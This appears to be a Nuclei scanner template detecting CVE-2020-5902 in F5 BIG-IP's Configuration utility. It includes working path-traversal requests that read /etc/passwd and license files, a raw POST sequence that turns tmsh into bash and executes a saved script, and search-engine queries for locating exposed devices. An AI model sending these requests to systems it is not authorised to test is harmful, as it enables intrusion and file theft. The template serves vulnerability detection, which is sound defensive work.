F5 BIG-IP versions 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1, the Traffic Management User Interface (TMUI), also referred to as the Configuration utility, has a Remote Code Execution (RCE) vulnerability in undisclosed pages.
PoC代码[已公开]
id: CVE-2020-5902
info:
name: F5 BIG-IP TMUI - Remote Code Execution
author: madrobot,dwisiswant0,ringo
severity: critical
description: F5 BIG-IP versions 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1, the Traffic Management User Interface (TMUI), also referred to as the Configuration utility, has a Remote Code Execution (RCE) vulnerability in undisclosed pages.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
remediation: |
Apply the necessary security patches or upgrade to a non-vulnerable version of F5 BIG-IP TMUI.
reference:
- http://packetstormsecurity.com/files/158333/BIG-IP-TMUI-Remote-Code-Execution.html
- http://packetstormsecurity.com/files/158334/BIG-IP-TMUI-Remote-Code-Execution.html
- http://packetstormsecurity.com/files/158366/F5-BIG-IP-TMUI-Directory-Traversal-File-Upload-Code-Execution.html
- http://packetstormsecurity.com/files/158414/Checker-CVE-2020-5902.html
- http://packetstormsecurity.com/files/158581/F5-Big-IP-13.1.3-Build-0.0.6-Local-File-Inclusion.html
- https://badpackets.net/over-3000-f5-big-ip-endpoints-vulnerable-to-cve-2020-5902/
- https://github.com/Critical-Start/Team-Ares/tree/master/CVE-2020-5902
- https://support.f5.com/csp/article/K52145254
- https://swarm.ptsecurity.com/rce-in-f5-big-ip/
- https://www.criticalstart.com/f5-big-ip-remote-code-execution-exploit/
- https://www.kb.cert.org/vuls/id/290915
- https://nvd.nist.gov/vuln/detail/CVE-2020-5902
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2020-5902
cwe-id: CWE-22
epss-score: 0.94426
epss-percentile: 0.99982
cpe: cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*
metadata:
max-request: 8
vendor: f5
product: big-ip_access_policy_manager
shodan-query: http.title:"big-ip®-+redirect" +"server"
fofa-query: title="big-ip®-+redirect" +"server"
google-query: intitle:"big-ip®-+redirect" +"server"
tags: cve,cve2020,bigip,rce,kev,packetstorm,f5
http:
- method: GET
path:
- "{{BaseURL}}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd"
- "{{BaseURL}}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/f5-release"
- "{{BaseURL}}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license"
- "{{BaseURL}}/hsqldb%0a"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- "BIG-IP release ([\\d.]+)"
- "[a-fA-F]{5}-[a-fA-F]{5}-[a-fA-F]{5}-[a-fA-F]{5}-[a-fA-F]{7}"
- "HSQL Database Engine Servlet"
condition: or
- type: status
status:
- 200
- raw:
- |
POST /tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1
Host: {{Hostname}}
command=create%20cli%20alias%20private%20list%20command%20bash
- |
POST /tmui/locallb/workspace/fileSave.jsp HTTP/1.1
Host: {{Hostname}}
fileName=%2Ftmp%2Fnonexistent&content=echo%20%27aDNsbDBfdzBSbGQK%27%20%7C%20base64%20-d
- |
POST /tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1
Host: {{Hostname}}
command=list%20%2Ftmp%2Fnonexistent
- |
POST /tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1
Host: {{Hostname}}
command=delete%20cli%20alias%20private%20list
matchers-condition: and
matchers:
- type: word
words:
- "h3ll0_w0Rld"
- type: status
status:
- 200
# digest: 4a0a00473045022100efb751486c988af45d59c1986d5ad6cc6b462292a90157252e3ab98f8f826344022071f8ccdaad8dab1117fc01c424f0cffa252a2e431c493d4a5e07d94cdda7e2bb:922c64590222798bb761d5b6d8e72950